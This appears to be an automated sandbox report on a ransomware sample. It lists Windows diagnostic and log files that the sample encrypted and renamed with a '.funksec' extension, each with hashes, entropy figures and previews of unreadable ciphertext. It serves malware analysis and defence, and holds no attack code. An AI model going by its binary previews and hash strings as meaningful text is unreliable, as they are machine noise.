                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):360472
                                                                                                                                Entropy (8bit):7.628828147589234
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:X9LFCqLNqKjQ42nMv2wRZAwkeGwVxQSFuywO5C7y6wL:X9LFCqMcf2wb54gKSFuLOs7VwL
                                                                                                                                MD5:68D4B0E51EA89263040F5D4AA0057F7C
                                                                                                                                SHA1:A02780F7708CA504DCD862DC39AC7B8D2841536B
                                                                                                                                SHA-256:E38AC13DE04AD5C507795B36899D10636793646FDE141D758074E67A6693C236
                                                                                                                                SHA-512:D12E03F2E67CB2A521FDC5F72608A6E7C9FE64040F223B04A16A5C356ED7897B51CDE90166842037FA46590307942662636B950B0AFF49F0DE6E9BAFF26FACBD
                                                                                                                                Malicious:false
                                                                                                                                Preview:C..dY..|...H...2.n...og.O.;..6.L5..9N...C.k.....4.]..&.`.*.;..j.Q..F.T.......:..z.Z<..e .%g.........|......f.,U...(l............^N@9..H.d.G...=h..WA.....9L..8.....Y..CL..H..b.E.`J.q..Hz.s'.."..A.s.........'..>u..I.D|.4...:.)....j.S...F.T.......:..z.;..` .%g............4......^U..c..lo.......A>..^.@9..H.d}...=h..WA.....9L..8.....Y..C.4k#......w...c..j,..k..-r....0.1_Ww.N*)B.W.;#EmD...i.`.+....j.S...F.T.....:...v<3.V ...g..........:.....f.,U...(l.........A...^.@9..H.d.J.k.=h.U.....-...4.8..p...c.B.4n#.....;*........kl.h....Qf...,.)<it.R...t.QM..px.r$.B...j.S...F.T.....:...?<p.. ..%g...]......:.......hU..d.IlW.......Ab..^.@_..H.d9....=..{W.....JL...8...Y..kC.42#......b..).n;.o....5.k7..k.QYa..........4.6...f..7...._...j.S...F.T.....:.>.3<... ..Wg..j......:.......IU..>.Ml.........]..^N@9..H.d.G...=h..WA.....9L..8.....Y..C.4n#...\.q..@...d..N....gsZ.3=k.)O....*ywk.4...P.V=.`.+....j.S..F.T.......:..k..<]....%g.......sK.a.....Jo.:=..T.

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\EventStore.db.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):146456
                                                                                                                                Entropy (8bit):7.961224562042439
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:K53KI/vAnfIP43sJR6HbXdHGeTeKBhhcjPs/CsYAD:Y3j/onfIPjWHbXQdKJcjPOCsYAD
                                                                                                                                MD5:E37E028FF7D4F62B98CC61BC67AE95E4
                                                                                                                                SHA1:32A3436BD2E2CBE09694A807C97C67910D0CBCF1
                                                                                                                                SHA-256:C70BF49110FCBF4492251618B9408CAF491A411F3E493D67011FF5EAE3B3B371
                                                                                                                                SHA-512:DCC5B8A48B4BA99A9B7413CD0FEEFD1540807B417B9EF4BC24CA6C9F5F6960CF921AFC245E33974500B3D3E4AC0374A9CACF059436F4699BB5EE6600688BD815
                                                                                                                                Malicious:false
                                                                                                                                Preview:.....HG....twN......E...Y^..64.4ILT..........rN#q.MC~.g{.g....D*c&.Pu.../f..M.....?.X....oZ."O(......~.u...T=..-..V...'I6dV..\~t.lM......V;r.4:.+9#.'..v.....t.+h.....8Ly.6m."'..............j.........m.].....y..........Q67......z)K...Pe.../&.9M.....?.X....oZ."O(......~.u...T=../..V...'I6dV..\~t.lM......V;r.4:.>9../..v.....~.!_.Y...8Ly.6m."i...k.@a.a..f....I#%...uge.}{...g,....v8.'=...Q67......z)K...Pe.../&.9M.....?.X....oZ."O(......~.u...T=../..V...'I6dV..\~t.lM......V;r.4:.>9../..v.....~.!_.Y...8Ly.6m."(....]..S.%./.K.a....:)S.).V.cZ7.G......C..Q67......z)K...Pe.../&.9M.....?.X....oZ."O(......~.u...T=../..V...'I6dV..\~t.lM......V;r.4:.>9../..v.....~.!_.Y...8Ly.6m."...%WL..^x.%..+.._!....j..t......;.x|%$`....E.Q67......z)K...Pe.../&.9M.....?.X....oZ."O(......~.u...T=../..V...'I6dV..\~t.lM......V;r.4:.>9../..v.....~.!_.Y...8Ly.6m."......M.G....Y.).........?..sB.7.nZG1..NcQ67......z)K...Pe.../&.9M.....?.X....oZ."O(......~.u...T=../..V.

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):45080
                                                                                                                                Entropy (8bit):7.356277928367018
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:iHdE3Z/EprpVP2aGJsRJiMSKxITjTQG7NBHe:iHdEJ8p32c6MSHk6I
                                                                                                                                MD5:89F5C2C0D43117F72062E6D97A9321D4
                                                                                                                                SHA1:9AC7A1A3F30737257A66C1B633A1B4734F214FA7
                                                                                                                                SHA-256:7BA0D14715837E707D87ADD765F4F0ED1463D613967AB32BA01D8CAADD9BAAAD
                                                                                                                                SHA-512:E07C89F44A0956D07020A820D2D584766C38AC3E34F56582E53DF796001E5415AD524767C66B42A0A22EEA694CD0D7F44E8C059FBD177CAA60BEBCD2E1D47B0B
                                                                                                                                Malicious:false
                                                                                                                                Preview:d\.....#....^.n.=*z.b2L.?..R.S.. .ao.#...n..+.!.p.&t........)...sk.9h.&..q../.d..M%o7E............%.Y..E.....P..!q....#....L0.....\..qRh.]...t........[.....'....6$J....".w.....s..@..?K..,#..E.J.......HA"..r%HY.\.I.=M..".....O..]....X.....q../.D..M%m7E............%.Y..E.....P..!q....#....L0.....\..qRh.]...t........u..... .7..o(.......J.........aMQ.\/......~L.s)1..5..I.Q..C.....W.r.<B..O..]....X.....q../.D..M%m7E............%.Y..E.....P..!q....#....L0.....\..qRh.]...t........u..... .7..o(.......J........h.... ..b....\./.z1..d.aK..j.D)...c.S_.Z.W..[b.O..]....X.....q../.D..M%m7E............%.Y..E.....P..!q....#....L0.....\..qRh.]...t........u..... .7..o(.......J.........>......y..y.....2.s.(.%..Zg...(..g....|....O..]....X.....q../.D..M%m7E............%.Y..E.....P..!q....#....L0.....\..qRh.]...t........u..... .7..o(.......J........*.%..b.8-.V..^).p5f\$..e...0!H............p7,..O..]....X.....q../.D..M%m7E............%.Y..E....~`...H..ApW

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):39448
                                                                                                                                Entropy (8bit):7.729226296367159
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:jZmMANxrPQb/7Nmu3b2S7P3Og8W6felEUBAuiSuiN3+mjfusYhvoIhRBcgbvnSsn:A3r8rzP3Og8iGRuPWsYaMRPqsj7
                                                                                                                                MD5:9D408AE9973C9CB3833322FB580D8D7B
                                                                                                                                SHA1:14796F03FBAD238BDE689CF45C7697DE9939B68D
                                                                                                                                SHA-256:9E65F1BF296CB2DA58E85B96DB97544F6521271700EC039870C19E924AD0EB00
                                                                                                                                SHA-512:D99D83A29708B0D8E3F11AD0CE153A4D8C404BCE328AE26131B42C4399D32CB9AF373931B5CF82C62FA02530651144C120C55531A6E053F3ECDF24FE69BCBA0F
                                                                                                                                Malicious:false
                                                                                                                                Preview:zj........^..~UN.r..i.\k+...B..I..%..z..f..../f..b.w[...0..Z..#.ge7.b.....o........y..... ..'.....&..].`..q...?.u.........[.I....T.v-..$..q.UKM...r"..zkE;j.f3.h|..+..{.P5{]..q....\.].Hm..p..z+._k.b...#5.....Q.........p.r!..A.|..?$.L..... b...../;.......y..... ..%.....&..].`..q...=.u.........[.I....T.v-..$..q.UKM...r...wkE;n.(3..vG.....{.P5{]..q..A6.....].....M.....BI5.d..<..@..~:H.i..W.I.5.A.|..?$.L..... b...../;.......y..... ..%.....&..].`..q...=.u.........[.I....T.v-..$..q.UKM...r...wkE;n.(3..vG.....{.P5{]..q..J%......h..$.~..I.x@A...........8...........sA.|..?$.L..... b...../;.......y..... ..%.....&..].`..q...=.u.........[.I....T.v-..$..q.UKM...r...wkE;n.(3..vG.....{.P5{]..q.U.K.}Y.j.Nh.....]....p..\o.-8.....9}H...RRDjS6.A.|..?$.L..... b...../;.......y..... ..%.....&..].`..q...=.u.........[.I....T.v-..$..q.UKM...r...wkE;n.(3..vG.....{.P5{]..q....kL.o..Wj...n(.G[,......{.:.^..#.3}.c?...A.|..?$.L..... b...../;.......y..... ..%.....&..].`..q...=.u..

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\osver.txt.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):82
                                                                                                                                Entropy (8bit):5.997676699687266
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:MDM91Y+SmjPbFiXt+lM13GV:MDp+XbY9+Q2V
                                                                                                                                MD5:49BD7ABDB5676A1A9BD71B3383ED24C4
                                                                                                                                SHA1:375458D1FC446E5878B3607552FB26C548963DD1
                                                                                                                                SHA-256:C6020F7EF9431A5C269D97664A20B8D0EBE750231D8B4F97D3658864D03C6272
                                                                                                                                SHA-512:3ABAEF7AA46AFC484D13DFF962A803800FA26FDF45F6BFE2499DD892997221FFCAC213FB608455F4FC7D205C1994FA067AC3E4B46045F39F5E0A127E975D33DE
                                                                                                                                Malicious:false
                                                                                                                                Preview:........SF...#.G.)......[.0.....p......R.g`...wB....? .^.i;td...(.,.h..mc......

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\parse.dat.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):24
                                                                                                                                Entropy (8bit):4.584962500721156
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:a4hP:a4Z
                                                                                                                                MD5:74408F23C2D9032BC9E079017697A6EC
                                                                                                                                SHA1:D43F80823B5B2CBF14B2F9CDC2CEFA516D67228B
                                                                                                                                SHA-256:66A28FC04B16634FF0B64C5F2C0B8746E9C2DF281441D1E282B1EC06A2E14B8F
                                                                                                                                SHA-512:F5D8F86261CDBE38B0FC0A93E20013EBD7528E674F9CA40BD9D876396E47990868E0976BE3361EFBD876343C81B11148500B329F886B4293F6BCD4AD55FC8F2A
                                                                                                                                Malicious:false
                                                                                                                                Preview:gB....U.=a.j..M....$~V.

                                                                                                                                C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\DiagnosticLogCSP_Collector_Autopilot_2023_10_3_9_57_25.etl.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1081368
                                                                                                                                Entropy (8bit):7.923605238022625
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24576:J2y9Sz3drmXOzTbvLTc0531aHmdSCrNLPJo1Atmdl/Bcy:J2y9SztqXET/Tcm31cmdy1Bj
                                                                                                                                MD5:10E8AC30DB112A7DC4C31858D4FD020E
                                                                                                                                SHA1:19FA1871E36EA85E6B54698B1F837D532CB46228
                                                                                                                                SHA-256:CF74E4ACF82380AAC077DBA7D55CCBBCC228D62C3413CAB1B0C442B9C00D632F
                                                                                                                                SHA-512:07792DD0BB537434E8C25BD7AC0BBE7AEA25669E48E4E48214C83EC15919A41C942638860D629646FF9F1ED65C7293FED4B8E1A0FCCC9010D9A47E218824007C
                                                                                                                                Malicious:false
                                                                                                                                Preview:.s[UC....R2"bF.6.'..B.,._sS.!^..#f....6:.(x...h......a.*0....).6 }#U.....^5.... ..@._.s...c....._.......Ua...H.O....0.K..%]v,m...*...95$.Z.O.S<3...^".[...5.zT.*..x.I'..&.M."*...qC...'...z1..9N. 9<._]|........V/..?.+P....@H3.y...+.. }#U.....^5.... 0.@.U.s...c....._..1....%a.H.O....T.'..%sv.....*O..9.3.Z[LbB......^#.[...4.pT./...x.I-..&.O."*i(..`6'`5$=..V.02.f..0..c...O}&...i;..m......*1.}..K+.6Z}QUq....^Q.n.. ..m.m.E...c....._..1....Qa...H.O....0.K..%_v-....*|..9.3.Z.........,Ll.@..b..pT./.Q..d....&.M."*.f.\...bsP#.....::_q....P..S...]...jMn#,.. F.^*X.....e+.6S}WU}....^Z.e.. ......2..c....._..^.....a...H.O....W.9..%2vj...*..D9.3.Z8L.B.....a^W...O.]..T./..x.IS..&....M*.....3A&....X>.:....o...>....4ax%.....Y......[)}*r.....W+.6O}OUx....^A.m.. .........c....._..X....>a.H.O....s.$..%3vK...*..j9.3.Z.L.B.....k^L./.T...@T./...x.I...&....*.A....r.,...>G.JK.....^...AGPDf....{......0...E*..J...9+.6.}FU`....^5..........s....c+3...3.5....Qa...H.O..

                                                                                                                                C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\DiagnosticLogCSP_Collector_Autopilot_2023_10_3_9_59_39.etl.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):991256
                                                                                                                                Entropy (8bit):7.899289076822177
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:12288:bVkpPbECVQ4QmKGHuecgPvhNjihjh4iGBDYL4o45JNU17:bAPbEoQ+tZnrehjMBIX17
                                                                                                                                MD5:FD929106AFFD55B143DCF1D4EA9877C1
                                                                                                                                SHA1:FB11B6979770B8B161E43E7521C2BA55E3631ADD
                                                                                                                                SHA-256:DF5993ED6BE4B73CA0A3B508F4DBF8679324DE030B8D8384EB9C5166BB1A5613
                                                                                                                                SHA-512:7AF999E32237B56DAEF2B23C4347C1D64F5ECF014B8B5A632D870B1B82E037984F28616BC64FFB5DAFB64320C64A828E90C4E9D4FB5F53A9217657AB2D987C19
                                                                                                                                Malicious:false
                                                                                                                                Preview:....Sky..r..#.r3...).M7.Px.3.X...i.eEM....S^...3.:.<".....c.L.P...R.}..Kj!YG;..[./.../.3.?.&..SJd..i...`.U....I...@;.W.u...@..V.`..v[....wj.b.qf^4.../.nj....$.....G.P.x.S=.f[r7G...).w.b.............>"N.........E^..q[...OW....Aa.L@R...R.}..Kj)YG;..[.....%.3.?.&..IJg..i;.....%....Ie..@_...;.[..k<..V.t...O.......P..rf^4.../.nk....!.....G.P--.i...g......f>.f.s._.Bn5B3C...-....'..O...@.....$........Ea.L.R...R.}..8j.Y#;..7...-.....?.&..IJg..i;...A.Q....I...@;.W.w..k...V.t...O...xsy.P..2.#.E62.@......!~...g.]Q/-.i...g$.....bn.b..%.._!c......\^....,..N..t.t..Q]....w.$a.L,R...R.}..(jmY(;....|.P.p.r..?.&..9J..iT...A.......Id..@\..6....ko..V.t.cO.n....P...f84../.n.....!..h..G.PD-.i..g....RL.]..3d.E.!4.../.4x_.....K..K....F2..Nz..]..a.L.R...R.}...jBY3;..).\.\.k.Z..?.&..&J..iR.....>....IF..@x...;....km..V.t.qO.x....P...f24../.nY....!..X..G.Pr-.i...g....u....?V\fO`.P..H.>.pu...,......h].i.W) w.S...+.|a.LqR...R.}..'j!YG;..Yr..P.G.3..+.&3.Y..+.h8...C.Q....I..

                                                                                                                                C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\DiagnosticLogCSP_Collector_DeviceProvisioning_2023_10_3_8_56_48.etl.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):360472
                                                                                                                                Entropy (8bit):7.866428095281434
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:6144:pjqT94dzdTHstNzQOwbT2rs7fwAYpiBKxdurIy2LtcT3LbjuHV8:pjqT6dzE1wb6rwIsBKxdWIy2Lkm2
                                                                                                                                MD5:D61617586BBBB984ADF6A773E12524DF
                                                                                                                                SHA1:865183FE4B6106D23F0E40E0837DD9E2F31ECCAD
                                                                                                                                SHA-256:23C48614EEC3F782172AEC4E194E3B81E502B6CBD18D4141BEFDB64165106187
                                                                                                                                SHA-512:62E621EEA0753687988D7F35BB8089C573ABC7C8E7433079A8881347C6E3BEF870D46553835FD0B44644EE4571BA4290DA5EF4AD5231DEEA331F3BA42692B755
                                                                                                                                Malicious:false
                                                                                                                                Preview:0....\lZv..l....E~.)..aA.p.....Z+...-7.`]6..oE...`......H.N.Zc;dX.......9k...AF..@C.1I1.5T1 ."/{L.q....a..7......v,..nU\.cP..`d..7.N/7.$<.....t.4./ .....'GxG....9&...L.(.rHx...Y...{.....H(~.....Q...sg......h})..........J.......H.L.Zb;eX.......1k...AF.gGC.1I1.5T1 ."/{L.q.-.. .7n.l....,4..U0..P=.O.....`#7.D5..\.D]..s.#.....'GxG....8#....M.".;BQ"4I....E...x8.M.........:(..0.....!_....;.|$C..:...*..H.L.Z#;.Xm...v....k...A*..@n..I...T1 ."/{L.q.-..`..7......v,..nU\.cP..a.%.2.S#7.D5......s.c_...#.F..e...8#s]..H..9BT"6I.....G.hi.7...=...8....%.....j!.F..?..f:..B......H.L.Z.;.Xr........k...A4..@$.CIP.XTu ."[{-.-.`.....7{.m....,n.2U...Pp...K.X.!#C.-5...+]u.0.p.....dG.G....]#...".Z.HB."rI..X.u.W.K...`.X..Z\....T#p.'.......=..S.p.x....H.L.Z.;.X~..._...^k...A...@..^I].YTT ."[{#...r.....7}.}...&,h..U*..Pb...J.Y.;#Y.#5.n.t] .@.|....xGKG....g#.........Bz"SI..Q_DP..J..T...J%L......V...I.q..gOQF....sw....H.L.Za;f.G......Yb..%...x...2I1.6T1 ."/{L.q.-..`..7......v,

                                                                                                                                C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\DiagnosticLogCSP_Collector_DeviceProvisioning_2023_10_4_9_46_43.etl.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):270360
                                                                                                                                Entropy (8bit):7.819227042504139
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:6144:FoD3SzVXyFSJwNnaCoA8EnDadt/N9B58KKvzf8aO7GJ7P5v2ZouvVq+Nz/4Xsn7p:mD3ShiM2rCFg+IG
                                                                                                                                MD5:E3B1F69D206F4FCA617E0BED30CBDF27
                                                                                                                                SHA1:C6C934498DBDABFF4E9A10D689E97FB41ACD51A9
                                                                                                                                SHA-256:B97B8157B42A69F0DE85B2FFF42FEDD73ADC8736492F7C63CFA7E7C577B913F8
                                                                                                                                SHA-512:F173B7DBA3EAE8DB091BF2EE0CEEDB2BFE2A11F7553CF54A9EBA945F310F6161C710F95FD7CC869FFA6659FEDE73A2B513CB42A2960889A1B0E0CE0E797F5B3A
                                                                                                                                Malicious:false
                                                                                                                                Preview:.,....{..3DE...9@...`d5...Yx.(.l{C9..f..@./i0.JX`5f.FhW..a:../...q...:6.,.D.A(j~>..@2..7.....9]|.X...2.u.8[...}lL..`4....t....h...%+1..r.7........!<.;...x.OI......F..d.5Hl-d...vd.y...{....l.~..ue.. .-.,....UO2b....E@.E..1..9.W-...q...:6.-.D.I(j~>..@.7.....9]|.X...2.w.8.....l>..`G..`.....h.2.'.1@.r.......m.... 8.;...x.OH...rF.F..n.?`.]>....~.y..#lu..B_ETf..H....0K.Y]..*.`@.6..8M..Bje..a;.S-..Zq...:D.I.7.o(.~R..@...7-.4.>9]|.X...2.w.8Z...}lL..`4....t....h.2.'.1s.r.....b..B... .1.-5mtyc.....x.v.8..:`.]>..a.H.@t.r..._...........QK.Dl.Z..,....j......\..a^.?-k.}q...:D.,...{(6~n..@]..7m.c.b9.|..,....2Mw~89....l?..`R..X.0...h.2.'D1....v.......h.. k.k....x.O$......F.F.....f`.]W.2.r.....Z.G..S|c..k....^.WBh.......7G... ~.a\.=-k.iq...:U.`.+.&()~m..@m..7p.n.c98|..,....2_wS8?....l/..`d..k.....h.2.'E1....x.....].=.. g.....x.O.....FF.F..P..`.]J...p...{.O}j0...u....^..o..$R.Z..C.^.-.../..A..a;.S-...q..:f...D.i;j~4.$..ta6.....9]|.X...2.w.8Z...}lL..`4.

                                                                                                                                C:\ProgramData\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):523850
                                                                                                                                Entropy (8bit):7.68947997122142
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:6144:76NObK4+1A0IBcVjCGOtE0XHYKTtpy+QevWsWSKspJTVOq31+7Q1dOwPyUkKAx9:mkN+e0IBcVjItI0gYZWSBTVDEMzfMb
                                                                                                                                MD5:2772239264915C1F7FC7DB191C0396C3
                                                                                                                                SHA1:22F36D60FB696D664D82D9759C144C4469BC6C99
                                                                                                                                SHA-256:E0A58741DA9786D57F5324E07FDE1C895D934B2A0286A7B1A6FE91AFDCF181A3
                                                                                                                                SHA-512:7028532B83D5AD25E2D20B8CA124B01CACB2BDA75F9D53D433B498D8EF07DCADF963A4443BC0A3A6DC317037E60A536AB77E3A55080498EE733A5216F4B76F24
                                                                                                                                Malicious:false
                                                                                                                                Preview:.L....n)..4g.s_..............O<....*...4..%1[..D..uSr...>u....A !.|.h...].....ko..5.._.I.......,.....xM.s.V...Q..J.Q.1..=.;.O=.y...E....hi......>{....*..T....p......./6U6........(...v2.....8-W.3f&.6...&.+.....O..?u....* V.?..h......V.E..o.-...R.;...K..........;M.s.V...Q.ZJgQ.1..n.G.O..q...R....hu......>[....*<.T....p.e...../.K."kW.?.....D...|.....n..i.O.`..>...$.?.w&y.O..|u..... W.7..h......@.].*o.!....................M.s.V..Q..JJ|Q.1..k.N..Oa."........h-.C....>+...2*..T....p.._...../.<ES4/1.!...q..e........}.....0...Vw..$zL.|*.O..Zu..... f.6.h......@.[.;o............d.....C....!M.s.V..Q.!J.Q.1......O>.j...M....hs......>>.....G*_..T....p..K....../..l.b ......c.h...mY..q..}.SuM.g.X9...IMYo..a..O..Su..... w....h......A.`.oo..<..Y.S........+.....~M.s.V...Q..J.Q.1..v...O5.E...V....hi......>>...L*G..T.....p......../.C.i..*Ax..b.d6:. .P..J.ffM.=N.B.>...M.;.b.T?..O..Ru..... t.:..h......y.1.To.>..G.W........W....!M.s.V..Q

                                                                                                                                C:\ProgramData\Microsoft\IdentityCRL\INT\wlidsvcconfig.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):17895
                                                                                                                                Entropy (8bit):7.974424229586623
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:G/Uplt/qam0eb8gL/R0eClZu2TT6t8Q9Yxvnel:3plt/Lm0TgNCljy8Q+5el
                                                                                                                                MD5:B731B89711B21D8F80F4B9224D710C7C
                                                                                                                                SHA1:8F34D0092B5B436DBC88DE6604BE02A9B473D98B
                                                                                                                                SHA-256:088F82EE9E50C37D02AB54A3EA337C562A14B90141218F665CD31A8DFAA84716
                                                                                                                                SHA-512:7FE414C328961007BE2241E750834BA91527104FBB94AB0BD0A29C33D0E229E79F58B391D32796AC9AF770B5FED3849CC6185E5407B4BB23965A5C57D2CF39E6
                                                                                                                                Malicious:false
                                                                                                                                Preview:...y..J.Q.....l...........C.6hx..........Cg./{0[.M....K..*.....R.W_I.v..2.st,..|P......J}.,.y...z..@...x......fr...J..f3..4]..`7.4.Y..t.>.....>...PA.qy.L..QEY.bW..6.A...SJ.elN..-.pfu...KU..x*.. ......a....52w....e....g...&...H..).H..]..V@..{..<.4w".fP......Z....n... ..#....7..M...|}.T.jC.;=..0...9a.g...Uq.m..L.E...^.k.z?.B...EX.,...(._...Q..;;...#..I_.b>.dm.%..bJI....U|W.e.)L..........0kY.I...C..io]U..H.M..K.|.5.:y-..ZF......&...q......@....h..Z..(4...\_.ux..:...m%.v...KK....x.bI.)P)G.#0.M..sTB.e...%.M..Q[.tcC..a.1V..l...EE...#...^:..{.."G+....4v.../...KJ..@..0*....ZN.....W..4..^..|E......*...p...f..N...$......*4...sx< {..+L..6`.V....n...._.Tv.IBEa.x%3N..\GU.e...1.....A.; .n`..?.o....._...).S.."l..)S"....vVX..u./.33.l..Z...r... .....@.E@..t.2.t.(.`N......$.,.p...b.....;..\...;g...Y..8x..'L..6`.V....n...._.Tv.JNZ2.#0.M..bTS.e...-.M...OG.2)T.....Q....-.R..s...A.o.)....Ww..f....b... .......k...;....^.L."..r..3.s}..jH.Y....%.E.w...a......|.....=

                                                                                                                                C:\ProgramData\Microsoft\IdentityCRL\production\wlidsvcconfig.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:zlib compressed data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):19641
                                                                                                                                Entropy (8bit):7.97007682361097
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:CR6vq+lrcq3b077uOevzYXtKnrcrC8wlSLzgeHTayB+3:CR6vq+x90776vz6CcrCSvFTayB+3
                                                                                                                                MD5:6FC0C09C0A4FADB2F85EB7D7F3DD9D36
                                                                                                                                SHA1:F91C49C2609323D586B241B1B83293BAE44AE9D7
                                                                                                                                SHA-256:3D37574E21C36FB77CD290D7A70D82E6D353A537C6DA7456E1D4D248D57D0523
                                                                                                                                SHA-512:686D777046850DEB6CE50EC72C3EC38B9A4D0671655C090991A08F249ADC63868A5B73A89C66EE40EB22FDB75F8568F996F8357476A88561F0C16CBCA6BA70E4
                                                                                                                                Malicious:false
                                                                                                                                Preview:..y3Q....9.,...f.o~.!.W+..........-rv..g"Y....7.6.....lw"...guwh..Ww...qb.q...U.nQ...........C.|5.'x......J....z..?....W..W...oo:...,.].wk...+.....ize........".\..X3...4...'...E...0>......Y....{..s.*.A...K3.].O.g.`...W.J...xt=...r;<o..|...2o.....V.0............c.k4.'"...O.........0..G...\Y...%/~...U..:n...)......,O........#...Q-...4B..a....?.~k..h..z.].e..P.e.....7nu....!.g....Y......v.n..5&>'..."..%h.f...X.4I .........d.t5.^......M.Z....k..y.........28n...nA.K$T;........ .c........9.[.^ ..UW/..).....-...h./.P...[.....V.....G+.Y.L..T..S.rC..M..w|)...arwi.Kz...kC.d...... ...........u.u(.?d..........J.y..#.*.G..~ai...NQ..vq...!......<p.......>..].X....5P.5...)d5.W.j.QSi..[7.........u.#..#.'..Y..oF-.k...J...{t ..Aosb..x...a7.=.....<....=......,.}<..h......L....>..,....C.W..-8e... W.. U...%.....a5R...X...-...^$....L..f.....%.........=.k..H...je...r.....A...C.$.q.....r}t..Xopr......4b._...x.=.............,.x=.i@......\....y.

                                                                                                                                C:\ProgramData\Microsoft\Network\Downloader\edb.log.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1802264
                                                                                                                                Entropy (8bit):7.447195941096588
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:12288:7IBMIDT5MApR0FvVaT1uly5BdLvWDwf9bQh8Jwp+haQo+jOxz0zIXrpxQd4Usaw:r4T5MAn0F9aQZybKUbMQx8XrpxaQ
                                                                                                                                MD5:EA834B670095019CFC50D8D9A0E12FEE
                                                                                                                                SHA1:6CE892B397BC82EB9CC844DF1BB3F8B34C720636
                                                                                                                                SHA-256:92E54917AFF929F527718D7970457D8D4159D2E3CAEBB4A6F61A975FB45FE0C0
                                                                                                                                SHA-512:C0886C19ABD2C3BB7A168021080908AFBE83D74EF85448FE94D29150206EB23C510F0E5E8AEBDB22AF264D7A3D35AA794CFB11E50F5F01C8594F2D1193BCE6A6
                                                                                                                                Malicious:false
